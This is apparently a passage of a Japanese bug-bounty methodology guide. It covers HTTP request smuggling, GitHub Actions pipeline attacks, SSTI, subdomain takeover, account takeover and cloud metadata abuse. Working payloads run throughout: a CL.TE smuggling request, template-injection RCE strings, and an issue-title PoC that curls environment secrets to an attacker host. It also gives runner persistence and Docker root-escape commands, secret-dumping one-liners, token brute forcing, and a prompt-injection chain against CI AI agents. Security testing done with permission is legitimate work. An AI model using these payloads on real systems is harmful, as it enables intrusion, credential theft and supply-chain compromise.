ASI04権限昇格AI を使って管理者専用のツールにアクセスする(エージェントはユーザーより広い権限を持つ)
ASI05間接的なインジェクションAI が処理するドキュメント/URL を汚染する(取得したコンテンツに隠し指示を埋め込む)
ASI06過剰な自律性AI が確認なしに破壊的な操作を行う(削除、送信、支払い)
ASI07モデル DoS無限ループ、過剰なトークン使用、または OOM を引き起こす入力を細工する
ASI08安全でない出力AI が出力内に XSS/SQLi/コマンドインジェクションを生成し、それがレンダリングされる
ASI09サプライチェーンAI が呼び出す、侵害されたプラグイン/ツール/MCP サーバー
ASI10機密情報の開示AI が内部設定、API キー、システムプロンプト、ユーザーデータを漏えいする

トリアージルール: ASI 単独では Informational です。有償バウンティの対象にするには、IDOR/データ持ち出し/RCE/ATO につなげる必要があります。

キャッシュポイズニング/Web キャッシュ欺瞞

  • X-Forwarded-Host、X-Original-URL、X-Rewrite-URL をテストする — キーに含まれないヘッダーがレスポンスに反映される
  • パラメータークローキング(?param=value;poison=xss)
  • Fat GET(GET リクエストのボディパラメーター)
  • Web キャッシュ欺瞞(/account/settings.css — キャッシュに非公開レスポンスを保存させる)
  • Param Miner(Burp 拡張機能)— キーに含まれないヘッダーを自動検出する

HTTP リクエストスマグリング

  • CL.TE:フロントエンドは Content-Length を処理し、バックエンドは Transfer-Encoding を処理する
  • TE.CL:フロントエンドは Transfer-Encoding を処理し、バックエンドは Content-Length を処理する
  • H2.CL:HTTP/2 のダウングレードを利用したスマグリング
  • TE の難読化:Transfer-Encoding: xchunked、タブのプレフィックス、スペースのプレフィックス
  • Burp の「HTTP Request Smuggler」拡張機能を使う — 自動検出される
CL.TE の例
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

フロントエンドは Content-Length: 13 を読み取り、すべてを送信します。バックエンドは Transfer-Encoding を読み取り、チャンク「0」を終端と認識します。「SMUGGLED」がバッファーに残り、次のユーザーのリクエストが汚染されます。

Android/モバイルの調査

  • 証明書ピンニングのバイパス(Frida/objection)
  • エクスポートされたアクティビティ/レシーバー(AndroidManifest.xml)
  • ディープリンクインジェクション
  • 平文で保存された共有設定/SQLite
  • WebView の JavaScript ブリッジ
  • モバイル API は、Web API より古い、または異なるバージョンを使用していることが多い

CI/CD パイプライン — GitHub Actions のセキュリティ

ツール:sisakulint を自動 SAST に使用してください。52 個のルール、ステップ/ジョブ/再利用可能なワークフローをまたぐ汚染伝播、GitHub Security Advisories の 81.6%をカバー(38 件中 31 件の GHSA)しています。インストール:brew install sisakulint、またはリリースからバイナリをダウンロードしてください。

クイックスキャン:sisakulint scan .github/workflows/ — Critical/High の問題を、自動修正の提案とともに検出します。 リモートスキャン:sisakulint scan --remote owner/repo — クローンせずにスキャンします。

偵察:ワークフローファイルの検出
# Clone target's public repos, then:
find . -name "*.yml" -path "*/.github/workflows/*" | head -50

# Quick grep for dangerous patterns:
grep -rn "pull_request_target\|workflow_run" .github/workflows/
grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/
grep -rn 'secrets\.\|secrets: inherit' .github/workflows/

# Run sisakulint on all workflows:
sisakulint scan .github/workflows/
カテゴリー 1:コードインジェクションと式の安全性(CICD-SEC-04)

根本原因:信頼できない入力(github.event.issue.title、github.event.pull_request.body、ブランチ名、コミットメッセージ)が、${{ }} 式を介して run: ブロックに埋め込まれています。

汚染源(攻撃者が制御可能):

github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref
  • 式インジェクション — run: ブロック内の ${{ github.event.issue.title }} = RCE
    # VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) #
    run: echo "${{ github.event.issue.title }}"
    
    # FIXED — use env var (shell-quoted, not expression-interpolated)
    env:
      TITLE: ${{ github.event.issue.title }}
    run: echo "$TITLE"
    
  • 環境変数インジェクション — 信頼できない入力 → $GITHUB_ENV
    # VULNERABLE — attacker injects newline + arbitrary VAR=VALUE
    run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV
    
    # FIXED — use heredoc delimiter
    run: |
      {
        echo "BRANCH<<EOF"
        echo "${{ github.head_ref }}"
        echo "EOF"
      } >> $GITHUB_ENV
    
  • PATH インジェクション — 信頼できない入力 → $GITHUB_PATH = 任意のバイナリの実行
  • 出力の改ざん — ヒアドキュメントの区切り文字を使わずに信頼できない入力 → $GITHUB_OUTPUT = 後続ジョブの操作
  • 引数インジェクション — 信頼できない入力を CLI 引数として使用(例:docker run ${{ ... }})
    # VULNERABLE
    run: docker run ${{ github.event.pull_request.body }}
    
    # FIXED — end-of-options marker + env var
    env:
      INPUT: ${{ github.event.pull_request.body }}
    run: docker run -- "$INPUT"
    
  • リクエスト偽造(SSRF) — ワークフロー内の curl/wget に攻撃者が制御する URL を指定
カテゴリー 2:パイプラインポイズニングと信頼できないチェックアウト

根本原因:特権トリガー(pull_request_target、workflow_run)で攻撃者の PR コードをチェックアウトし、そのコードがリポジトリのシークレットを使って実行されます。

  • 信頼できないチェックアウト — 安全な ref を明示せず、pull_request_target で actions/checkout を実行
    # VULNERABLE — checks out attacker's PR code with repo secrets
    on: pull_request_target
    jobs:
      build:
        steps:
          - uses: actions/checkout@v4
            with:
              ref: ${{ github.event.pull_request.head.sha }}  # ATTACKER CODE
          - run: make build  # runs attacker's Makefile with secrets
    
    # FIXED — only checkout base branch, or use read-only permissions
    permissions: {}
    steps:
      - uses: actions/checkout@v4  # checks out base branch by default
    
  • TOCTOU(チェック時と使用時の競合) — ラベルによる承認と変更可能な ref の組み合わせにより、攻撃者がラベルを追加し、承認後に悪意のあるコミットをプッシュできる
  • 再利用可能なワークフローの汚染 — secrets: inherit により、信頼できない入力を処理する呼び出し先ワークフローにすべてのシークレットが渡される
  • キャッシュポイズニング — 信頼できないチェックアウト → ビルド → キャッシュへの書き込み → 信頼されたワークフローが汚染されたキャッシュを読み込む
  • キャッシュポイズニング(汚染可能なステップ) — 安全でないチェックアウトの後、キャッシュ保存の前にビルドステップを実行
  • アーティファクトポイズニング — 検証せずに、信頼できない workflow_run から actions/download-artifact を実行
    # VULNERABLE — downloads artifact from untrusted workflow, then executes it
    on: workflow_run
    steps:
      - uses: actions/download-artifact@v4
      - run: ./downloaded-binary  # attacker-controlled binary
    
    # FIXED — verify artifact hash/signature before execution
    
  • Artipacked — actions/checkout の persist-credentials: true(デフォルト)により、アップロードされたアーティファクト内の .git/config にある認証情報が漏えいする
    # FIXED
    - uses: actions/checkout@v4
      with:
        persist-credentials: false
    
カテゴリー 3:サプライチェーンと依存関係のセキュリティ(CICD-SEC-08)
  • ピン留めされていないアクション — SHA でピン留めせず、uses: actions/checkout@v4(変更可能なタグ)を使用
    # VULNERABLE — tag can be force-pushed
    uses: actions/checkout@v4
    
    # FIXED — pinned to immutable commit SHA
    uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
    
  • なりすましコミット — フォークネットワークにより、上流リポジトリのものに見える SHA のコミットをプッシュできる
  • ref の混同 — あいまいなタグ名/ブランチ名を悪用して、意図しないバージョンのアクションを読み込む
  • 既知の脆弱なアクション — GHSA データベースを使ってアクションを確認(sisakulint が自動検出)
  • アーカイブ済みアクション — 脆弱性が修正されないままの、メンテナンスされていないアクション
  • ピン留めされていないコンテナーイメージ — SHA256 ダイジェストでピン留めせず、image: ubuntu:latest を使用
カテゴリー 4:認証情報とシークレットの保護
  • シークレットの持ち出し — ワークフロー内で curl https://evil.com/${{ secrets.TOKEN }} を実行
  • アーティファクト内のシークレット — アップロードされたアーティファクトに .env、認証情報、または隠しファイルが含まれる
    # FIXED — exclude hidden files
    - uses: actions/upload-artifact@v4
      with:
        include-hidden-files: false
    
  • マスクされないシークレット — fromJson() から派生した値が GitHub の自動マスキングを回避する
    # FIXED — manually mask derived secrets
    run: |
      TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token')
      echo "::add-mask::$TOKEN"
    
  • 過剰な secrets: inherit — 必要なシークレットが 1 つだけなのに、再利用可能なワークフロー呼び出しですべてのシークレットを継承
  • ハードコードされた認証情報 — API キー、パスワード、トークンをワークフロー YAML に直接記述
カテゴリ 5:トリガーとアクセス制御(CICD-SEC-01)
  • 緩和策のない危険なトリガー — permissions: {}、承認ゲート、ref 制限がない pull_request_target または workflow_run
  • 部分的な緩和策がある危険なトリガー — いくつかの保護策があるものの、回避可能
  • ラベルベースの承認回避 — if: contains(github.event.pull_request.labels.*.name, 'approved') は偽装可能です(攻撃者がラベルを追加できます)
  • ボット条件の偽装 — if: github.actor != 'dependabot[bot]' は、似た名前のアカウントを作るだけで簡単に回避できます
  • GITHUB_TOKEN の過剰な権限 — contents: read のみで十分なのに permissions: write-all を設定
  • 公開リポジトリでのセルフホストランナー — 信頼されていない PR が組織のインフラ上で実行されます。=コンテナ脱出 → ラテラルムーブメント
  • OIDC トークンの窃取 — CI ランナーがクラウドへのアクセスを許可する OIDC トークンを公開します
カテゴリ 6:AI エージェントのセキュリティ(新規 — 2025年以降)
  • 制限のない AI トリガー — allowed_non_write_users: "*" により、あらゆるユーザーが AI エージェントの実行をトリガーできます
  • コマンドライン権限の過剰な付与 — 信頼されていないトリガーのコンテキストで AI エージェントに Bash/Write/Edittools を与えると、攻撃者のプロンプトから RCE につながります
  • ワークフローコンテキストを介したプロンプトインジェクション — ${{ github.event.issue.body }} が AI エージェントのプロンプトパラメーターに埋め込まれています
ハンティングのワークフロー
1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
   a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
   b. What secrets are accessible? (check permissions: block, secrets usage)
   c. What's the blast radius? (repo secrets → deploy keys → cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tampering
式インジェクションの PoC テンプレート
# Step 1: Create an issue with injection payload in title
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"

# Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated
# CVSS: 9.3 Critical (RCE with repo secrets)
実際に報奨金が支払われた GHSA
GHSAアクションバグの種類深刻度
GHSA-gq52-6phf-x2r6tj-actions/branch-namesブランチ名を介した式インジェクションクリティカル
GHSA-4xqx-pqpj-9fqwatlassian/gajira-create特権トリガーでのコードインジェクションクリティカル
GHSA-g86g-chm8-7r2pcheck-spelling/check-spellingビルドログでのシークレット漏えいクリティカル
GHSA-cxww-7g56-2vh6actions/download-artifactアーティファクトの汚染(公式アクション)高
GHSA-h3qr-39j9-4r5vgradle/gradle-build-action信頼されていないチェックアウトを介したキャッシュ汚染高
GHSA-mrrh-fwg8-r2c3tj-actions/changed-filesサプライチェーン — 偽装コミット高
GHSA-phf6-hm3h-x8qpbroadinstitute/cromwellコードインジェクションを介したトークン漏えいクリティカル
GHSA-qmg3-hpqr-gqvcreviewdog/action-setupタグ固定を介した時限爆弾高
GHSA-vqf5-2xx6-9wfmgithub/codeql-action既知の脆弱性がある公式アクション高
GHSA-hw6r-g8gj-2987pytorch/pytorchビルドワークフローでの引数インジェクション中
A→B シグナル:CI/CD チェーン
Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivot
詳細解説:sisakulint の検出結果から報奨金レポートまで

sisakulint の検出結果は悪用される可能性があるというものであり、バグが確認されたことを意味するものではありません。検出結果はすべて手動で検証する必要があります。以下のパターンは、実際に報奨金が支払われた36件のレポート(支払総額25万ドル以上)から抽出したものです。各セクションでは、実際の報奨金につながった考え方を紹介します。

1. コードインジェクション/引数インジェクション

判定の質問: 外部の攻撃者がこのワークフローを実行でき、かつ汚染された入力がシェルコンテキストに到達しますか?

検証の深さ:

  1. トリガーへのアクセス可能性 — issues: opened と issue_comment: created は、すべての GitHub ユーザーがトリガーできます。pull_request_target はフォークからの PR 経由でトリガーできます。アクターや関連付けでフィルタリングする if: 条件があるか確認してください。
  2. 直接的な汚染と間接的な汚染 — ワークフローファイル自体は安全に見えることがあります。Cycode は、cherry-picker.yml が ${{ github.event.issue.title }} を with: 経由で別のリポジトリのコンポジットアクション(bazelbuild/continuous-integration)に渡していたことから、Bazel の 13,000 ドルのバグを発見しました。このコンポジットアクションの action.yml には run: TITLE="${{ inputs.issue-title }}" がありました。従来のスキャナー(actionlint)は、uses: をたどって外部のコンポジットアクションを確認しないため、この問題を検出できませんでした。必ずコンポジットアクションの action.yml を取得して確認してください。
  3. ペイロードの構築 — ブランチ名にはスペースを含められません。Ultralytics YOLO の攻撃者は ${IFS}(内部フィールド区切り文字)と Bash のブレース展開 {curl,-sSfL,URL} を使ってこれを回避しました。Issue のタイトルや本文には、このような制限はありません。
  4. シークレットへの到達可能性 — ワークフローとジョブの両方のレベルで permissions: を確認してください。明示的な permissions: ブロックがない場合は、リポジトリのデフォルト設定(多くの場合 write-all)が使われます。${{ secrets.* }} を含む env: ブロックがあるか確認してください。GITHUB_TOKEN に書き込み権限があるか確認してください。
  5. 影響の連鎖 — Bazel の場合:Issue のタイトルへのインジェクション → コンポジットアクションのシェルインジェクション → BAZEL_IO_TOKEN + GITHUB_TOKEN (write-all) → Bazel コードベースにバックドアを仕込む能力(Google、Kubernetes、Uber、LinkedIn に影響)。

除外すべき兆候: ブール値を返す ${{ contains(...) }} や ${{ startsWith(...) }} はインジェクション可能ではありません。誤検知です。contains() 内の ${{ github.event.pull_request.labels.*.name }} はラベルのテキストではなく、true/false として評価されます。

2. 信頼できないチェックアウト(Pwn リクエスト)

判定の質問: ワークフローは攻撃者が制御するコードをチェックアウトし、そのチェックアウトから何かを実行しますか?

検証の深さ:

  1. 明示的なコード実行と暗黙的なコード実行 — Flank の 7,500 ドルのバグ:gh pr checkout → gradle/gradle-build-action が Gradle を実行 → Gradle が settings.gradle.kts を Kotlin スクリプトとして自動評価。攻撃者は run: コマンドを一切記述していません。リポジトリ内の設定を読み込むビルドコマンドラインは、すべてコード実行の経路になります:Makefile、package.json(postinstall スクリプト)、setup.py、build.gradle.kts、.cargo/config.toml、Gemfile。
  2. issue_comment は pull_request_target と同じくらい危険です — Rspack の NPM トークン窃取:issue_comment トリガーと refs/pull/${{ github.event.issue.number }}/head のチェックアウト。issue_comment は完全なシークレットを利用できるベースリポジトリのコンテキストで実行されます。ドラフト PR も対象です。コントリビューターのステータスチェックもありません。issue_comment ワークフローでは、必ず PR のチェックアウトパターンを確認してください。
  3. セルフホストランナーの権限昇格 — runs-on: に self-hosted が含まれている場合は、次を確認します:(a)ランナーはエフェメラルですか?(設定の --ephemeral)。(b)ランナーは Docker グループに属していますか?(docker run -v /:/host --privileged)。(c)PyTorch のパターン:コントリビューターの誘導(タイプミス修正の PR → マージ → コントリビューターのステータス取得 → 承認なしでセルフホストランナー上のワークフローが自動起動)→ RoR(Runner-on-Runner:RUNNER_TRACKING_ID=0 + 攻撃者のランナーエージェントをインストール)→ 特権ワークフローを待つ → .git/config またはプロセスメモリから PAT を窃取。
  4. TOCTOU — ラベルで制御される pull_request_target ワークフロー:攻撃者がラベルを付けてもらい(ソーシャルエンジニアリング)、ワークフローがラベルの存在を確認した後、チェックアウトの前に悪意のあるコミットをプッシュします。チェックアウト時に ref: は新しいコミットを解決します。可変参照(トリガー時とチェックアウト時の github.event.pull_request.head.sha)が根本原因です。
  5. 侵入後の行動 — 最初のアクセス後、すべてのシークレットを列挙します:env | base64、cat /proc/self/environ、gcore $(pgrep Runner.Worker) + strings core.* | grep ghp_。PyTorch の攻撃者は 3 つのボット PAT を取得し、それらを組み合わせて main のブランチ保護を回避しました。

阻止シグナル: if: "!github.event.pull_request.head.repo.fork" は外部の攻撃者をブロックします。ワークフローレベルで permissions: {} を設定し、ジョブレベルで contents: read のみを許可すると、被害を抑えられます。--ephemeral フラグを付けたエフェメラルランナーは、永続化を防ぎます。

3. アーティファクトポイズニング

判定質問: ステージ 1(pull_request、シークレットなし)でアーティファクトをアップロードし、ステージ 2(workflow_run、シークレットあり)でダウンロードして使用する、2 段階のワークフローパターンがありますか?

検証の深さ:

  1. ワークフロー間のアーティファクトの受け渡し — 同じワークフロー内でのアップロード/ダウンロード(needs: を介したビルドジョブ → テストジョブ)は、攻撃者の PR が独自のビルドを実行するため、ポイズニングできません。危険なのは、pull_request ワークフローがアップロードし、別の workflow_run ワークフローがダウンロードするパターンです。workflow_run は別のワークフローの完了時にトリガーされ、シークレットに完全にアクセスできるデフォルトブランチのコンテキストで実行されます。
  2. ダウンロード先が重要 — path: . やワークスペース相対パス(grafana-server/bin)を指定した actions/download-artifact は、ソースコード、ビルドスクリプト、バイナリを上書きする可能性があります。安全なパターンは、${{ runner.temp }}/artifacts に展開することです。
  3. ソースの検証 — workflow_run の利用側は、github.event.workflow_run.head_repository.full_name != github.repository を確認していますか?確認していない場合、フォーク PR のアーティファクトが無条件で使用されます。Rust のリリースパイプラインは、まさにこの問題に対して脆弱でした。
  4. ArtiPACKED(persist-credentials) — actions/checkout のデフォルトは persist-credentials: true です。これにより、GITHUB_TOKEN が .git/config に書き込まれます。アーティファクトのアップロード対象パスに .git/ が含まれる場合(例:path: .)、Actions アーティファクトからトークンを誰でもダウンロードできてしまいます。確認事項: upload-artifact ステップで、path: . や .git/ を含む広い範囲を対象とするパスを指定していませんか?

危険性を否定できる兆候: アップロードとダウンロードが、needs: で連結された同じワークフロー実行内で行われること。workflow_run の利用側がフォーク由来かどうかを明示的に確認していること。チェックアウト時に persist-credentials: false が設定されていること。

4. キャッシュポイズニング

判定質問: フォーク PR がキャッシュエントリを書き込み、後でデフォルトブランチが特権コンテキストで復元する可能性がありますか?

重要:GitHub のキャッシュスコープでは、この問題を完全には防げません。 PR ブランチはデフォルトブランチのキャッシュを読み取れます。フォーク PR のワークフローはキャッシュエントリを書き込めます。キャッシュキーが決定論的(hashFiles('package-lock.json'))で、攻撃者がそのファイルを変更しない場合、フォーク PR は同じキャッシュキーに書き込みます。

検証の深さ:

  1. キーの予測可能性 — key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }} は完全に予測可能です。キーに github.sha や github.run_id を追加すると、予測できなくなります。すべてのキャッシュキーに、予測不可能な要素が含まれているか確認してください。
  2. キャッシュ階層の悪用 — workflow_run および workflow_dispatch ワークフローは、デフォルトブランチのコンテキストで実行されます。これらが予測可能なキーでキャッシュを書き込む場合、上流のワークフローをトリガーできる攻撃者(フォーク PR 経由)が、事前にキャッシュをポイズニングできます。run-dashboard-search-e2e.yml のパターンは、workflow_run トリガー → hashFiles() キーを使った actions/cache → すべての PR ワークフローがこのキャッシュを読み取る、というものです。
  3. ペイロードの注入 — Cacheract:パッケージマネージャーのキャッシュ(node_modules/.cache、~/.cache/pip、~/.gradle/caches)にマルウェアを注入します。復元 → ビルド → 保存のサイクルごとにペイロードが保持されるため、マルウェアは自己増殖します。キャッシュの有効期間は 7 日間のため、ペイロードは複数回のワークフロー実行にわたって残存します。
  4. 特権コンテキストでの使用 — デフォルトブランチ上の push または schedule ワークフローでキャッシュが復元されます。これらのワークフローは、すべての secrets にアクセスできます。ポイズニングされた依存関係は、npm install/pip install/gradle build の実行中に動作し、シークレットを外部に流出させます。
  5. Clinejection の連鎖 — プロンプトインジェクション → AI エージェントが攻撃者のコミットから npm install を実行 → npm キャッシュ内の Cacheract → 夜間の公開ワークフローがキャッシュを復元 → VSCE_PAT、OVSX_PAT、NPM_RELEASE_TOKEN が盗まれる → 悪意のある Cline v2.3.0 が 8 時間にわたって公開される。

危険性を否定できる兆候: キャッシュキーに github.sha または github.run_id が含まれること。ワークフローごとにキャッシュキーが分かれていること。PR ワークフローで actions/cache(読み書き可能)の代わりに actions/cache/restore(読み取り専用)を使用していること。

5. セルフホストランナー

ゲート質問: 外部コントリビューターがワークフローをトリガーできる公開リポジトリで、セルフホストランナーを使用していますか?

検証の深さ:

  1. 承認設定 — デフォルトは「初めてのコントリビューターに承認を求める」です。PR が 1 件でもマージされると(誤字修正であっても)、攻撃者は「コントリビューター」となり、それ以降の PR は承認なしで自動的にトリガーされます。GitHub runner-images の 2 万ドルのバグでも、まさにこの手口が使われました。
  2. ランナーの永続性 — エフェメラルではないランナーは、ジョブ間で状態を保持します。RUNNER_TRACKING_ID=0 を設定すると、ジョブ完了後に攻撃者のプロセスがランナーによってクリーンアップされなくなります。デタッチされた Docker コンテナ(docker run -d --restart always)もクリーンアップを乗り越えて残ります。
  3. ランナー上のランナー(RoR) — 対象のセルフホストランナーに公式 GitHub Actions ランナーのバイナリをインストールし、攻撃者のプライベート組織に登録します。正規の GitHub バイナリと github.com への HTTPS 接続のみを使用するため、通常のランナートラフィックと見分けがつきません。C2 サーバーは不要です。GitHub 自体が C2 になります。
  4. ラテラルムーブメント — RoR による永続化 → 特権を持つ push/schedule ワークフローを待機 → .git/config、$GITHUB_ENV、/proc/PID/environ、または Runner.Worker プロセスのメモリからトークンを窃取します。PyTorch の事例:ボット用 PAT 3 個 → 93 個のリポジトリ → AWS S3 への書き込みアクセス → pip install pytorch によるサプライチェーン攻撃。
  5. Docker グループ権限の昇格 — docker run -v /:/host --privileged alpine chroot /host → ホストの完全な root 権限。SSH キーの追加、sudoers の変更、永続的なバックドアのインストールを行います。

阻止要因: ランナー登録時に --ephemeral フラグを指定します。「初めてのコントリビューター」だけでなく「すべての外部コラボレーター」に承認を求めます。ランナーを Docker グループに所属させません。プライベートリポジトリ(外部からの PR なし)を使用します。

6. サプライチェーン(commit-sha/impostor-commit/ref-confusion)

ゲート質問: ワークフローでアクションに可変タグ(@v1、@v2)を使用しており、それらのタグが置き換えられる可能性はありますか?

検証の深さ:

  1. タグの可変性 — git tag -f v1 <malicious-commit> でタグを置き換えられます。リポジトリの 98.4%は SHA ピン留めを使用していません(Legit Security 2024)。tj-actions 攻撃では、すべてのバージョンタグ(v1、v35、v45)が memdump.py ペイロードに置き換えられ、2 万 3 千のリポジトリが影響を受け、218 件のシークレット漏えいが確認されました。
  2. なりすましコミット — フォークネットワークは親リポジトリとオブジェクトストアを共有します。攻撃者がフォークにコミットをプッシュし、そのコミット SHA を親リポジトリの uses: で参照します。SHA が共有オブジェクトストアに存在するため、GitHub はこれを解決します。
  3. RepoJacking — 組織名を変更するとリダイレクトが作成され、古い名前が利用可能になります。攻撃者は古い組織名を登録し、同じリポジトリを作成して、悪意のあるアクションをホストします。Shopify/unity-buy-sdk は MirrorNG/unity-runner を使用していましたが、MirrorNG が MirageNet に名前を変更したため、MirrorNG は取得可能になりました。確認方法: GET /users/<action-owner> が 404 を返しますか?乗っ取りが可能です。
  4. ペイロードの隠蔽 — tj-actions の memdump.py は、/proc/PID/maps と /proc/PID/mem を使って Runner.Worker プロセスのメモリからシークレットを抽出し、AES+RSA で暗号化して、ワークフローログに出力します。ログは誰でも閲覧できますが、暗号化されており、鍵を持つのは攻撃者だけです。

阻止要因: 40 文字の完全な SHA でピン留めします(uses: actions/checkout@b4ffde65...)。github-actions エコシステム向けに Dependabot を設定します。組織レベルでアクションの許可リストを設定します。

7. AI エージェントのセキュリティ

判定質問: 外部ユーザーがプロンプトに影響を与えられるワークフローで、AI エージェント(Gemini CLI、Claude Code、Cline、Codex)が呼び出されていますか?

検証の深さ:

  1. トリガー + プロンプトのソース — issues: opened → AI トリアージボットが github.event.issue.body を読み取ります。本文そのものがプロンプトです。HTML コメント(``)は GitHub UI では見えませんが、API レスポンスには含まれるため、AI のプロンプトにも含まれます。
  2. ツールの権限 — AI エージェントに Bash/Write/Edittools があり、環境変数にシークレットを含んだ状態で実行される場合、プロンプトインジェクションは RCE + シークレットの窃取につながります。allowed_non_write_users: "*" は、すべてのユーザーがトリガーできることを意味します。
  3. 複数フェーズの連鎖 — Clinejection:プロンプトインジェクション → AI が攻撃者のコミットから npm install を実行 → Cacheract が npm キャッシュに仕込みを行う → 夜間の公開処理でキャッシュが復元される → トークンが盗まれる → 悪意あるバージョンが公開される。プロンプトインジェクションだけの発見では深刻度が低く見えるかもしれませんが、キャッシュポイズニングやサプライチェーン攻撃への入り口になり得ます。

即時終了の兆候: AI 処理の前に author_association == 'MEMBER' || 'OWNER' を確認している。AI CLI に --read-only --no-exec フラグが指定されている。ワークフローレベルで permissions: {} が設定されている。

8. 権限 / シークレットの衛生管理

単独ではバグではありません — これらは影響を増幅させます。permissions: write-all を伴う code-injection-medium は致命的です。同じインジェクションでも、permissions: { contents: read } なら影響は限定されます。

連鎖の確認項目:

  • 再利用可能なワークフローの呼び出しに secrets: inherit がある → 呼び出されたワークフローから組織のすべてのシークレットにアクセス可能
  • permissions: ブロックがない → リポジトリの既定値(多くの場合 write-all)
  • contents: write を持つ GITHUB_TOKEN → CVE-2022-46258 のパターン:Contents API を使って新しいワークフローファイルを作成 → 新しいワークフローがリポジトリ / 組織のすべてのシークレットにアクセス(元のワークフローではそれらのシークレットを一切参照していない)

主な参考資料:

SSTI -- サーバーサイドテンプレートインジェクション

検出用ペイロード
{{7*7}}          -> 49 = Jinja2 / Twig / generic
${7*7}           -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %>       -> 49 = ERB (Ruby)
#{7*7}           -> 49 = Mako / some Ruby
*{7*7}           -> 49 = Spring (Thymeleaf)
{{7*'7'}}        -> 7777777 = Jinja2 (Twig gives 49)
テストする場所
  • 名前 / 自己紹介 / 説明のフィールド(プロフィールページ)
  • メールテンプレート(請求書の名前、確認メール内のユーザー名)
  • カスタムエラーメッセージ
  • PDF 生成機能(請求書、レポートのエクスポート)
  • URL パスパラメーター
  • 検索結果に反映される検索クエリ
Jinja2 -> RCE(Python / Flask)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig -> RCE(PHP / Symfony)
{{["id"]|filter("system")}}
Freemarker -> RCE(Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
ERB -> RCE(Ruby on Rails)
<%= `id` %>

サブドメイン乗っ取り

検出
# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com

# Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
即時判定用フィンガープリント
"There isn't a GitHub Pages site here"  -> GitHub Pages
"NoSuchBucket"                          -> AWS S3
"No such app"                           -> Heroku
"404 Web Site not found"                -> Azure App Service
"Fastly error: unknown domain"          -> Fastly CDN
"project not found"                     -> GitLab Pages
"It looks like you may have typed..."   -> Shopify
影響の拡大
  • 基本的な乗っ取り:target.com のサブドメインでページを配信する → 低 / 中
    • Cookie:target.com が domain=.target.com を含む Cookie を設定している場合 → 認証情報の窃取 → 高
    • OAuth リダイレクト:sub.target.com が登録済みの redirect_uri の場合 → ATO 連鎖 → 致命的
    • CSP バイパス:sub.target.com が target の CSP に含まれている場合 → あらゆる場所で XSS が可能 → 致命的

ATO -- アカウント乗っ取り(完全な分類)

経路 1:パスワードリセットの汚染(Host ヘッダーインジェクション)
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
[email protected]
# If reset link = https://attacker.com/reset?token=XXXX -> ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server
経路 2:リファラー漏えいによるリセットトークンの流出

リセットリンクをクリックした後、ページが外部リソースを読み込む場合、Referer ヘッダーを通じてトークンが外部ドメインに送信されます。

経路 3:予測可能 / 脆弱なリセットトークン
# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
経路 4:トークンが失効しない / 再利用できる

トークンをリクエスト → 2時間待つ → 使用する → まだ使えますか? トークン #1 をリクエスト → トークン #2 をリクエスト → トークン #1 を使用する → まだ使えますか?

経路 5:再認証なしでメールアドレスを変更
PUT /api/user/email
{"new_email": "[email protected]"}
# If no current_password required -> attacker changes email -> locks out victim
経路 6:OAuth アカウント連携の悪用

既存のアカウントに、異なるメールアドレスの OAuth アカウントを連携できますか?

パス 7:セッション固定

GET /login -> Set-Cookie session=XYZ を記録 -> ログイン -> セッション ID は変わりますか?変わらない場合は、セッション固定です。

クラウド/インフラの設定ミス

S3/GCS/Azure Blob
# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request

# Try common names
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
  curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
EC2 メタデータ(SSRF 経由)
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/
# Returns role name, then:
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/ROLE-NAME
# Returns AccessKeyId, SecretAccessKey, Token -> Critical

# GCP (needs header Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure (needs header Metadata: true):
http://[REDACTED_IP]/metadata/instance?api-version=2021-02-01
Firebase のオープンルール
curl --max-time 30 --connect-timeout 10 -s "https://TARGET-APP.firebaseio.com/.json"
# If data returned -> open read
